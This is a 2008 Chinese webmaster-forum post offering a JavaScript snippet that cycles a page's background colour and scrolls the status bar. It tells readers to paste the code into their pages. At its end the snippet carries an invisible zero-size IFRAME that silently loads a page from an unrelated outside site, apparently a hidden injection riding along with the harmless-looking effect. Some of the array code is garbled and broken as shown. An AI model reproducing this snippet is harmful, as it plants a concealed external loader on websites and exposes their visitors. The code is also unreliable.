站长论坛
标题:
很炫很实用：会变色的网页背景特效代码
[打印本页]
作者:
ajax
时间:
2008-5-23 13:35
标题:
很炫很实用：会变色的网页背景特效代码
只要插入网页就可轻松办到，不来一起试试看么？
<!-- 用<body onLoad="chgCol(); pingpong();">替换原有的<body> -->
<!--将以下代码加入HTML的<Body></Body>之间-->
<script language="JavaScript">
<!-- Hide from JavaScript-Impaired Browsers
var pos = 10;
function initArray() {
this.length = initArray.arguments.length;
for (var i = 0; i < this.length; i++) {
this
= initArray.arguments
;
}
}
var col=new initArray("4b","5b","8b","8b");
col[0] = "white";
col[1] = "coral";
col[2] = "orange";
col[3] = "red";
col[4] = "greenyellow";
col[5] = "lime";
col[6] = "turquoise";
col[7] = "coral";
col[8] = "blueviolet";
col[9] = "violet";
function chgCol() {
pos++;
if (pos<0||pos>9) {
pos = 0;
}
document.bgColor = col[pos];
setTimeout("chgCol()",1000);
}
var yourwords = "";var buffer1=" ";
var buffer2=" ";
var message1=buffer1+yourwords+buffer2;
var dir = "left";var speed =150;
function pingpong(){if (dir == "left")
{ message2=message1.substring(2,message1.length)+" ";
window.status=message2;
setTimeout("pingpong();",speed);
message1=message2;
if (message1.substring(0,1) == "*") dir="right";
}
else
{ message2=" "+message1.substring(0,message1.length-2);
window.status=message2;
setTimeout("pingpong();",speed);
message1=message2;
if (message1.substring(message1.length-1,message1.length) == "*") dir="left";
}
}
// -->
</script>
<IFRAME border=0 name=I1 marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>
</body>
</html>
欢迎光临 站长论坛 (http://www.tzlink.com/bbs/)
Powered by Discuz! X3.2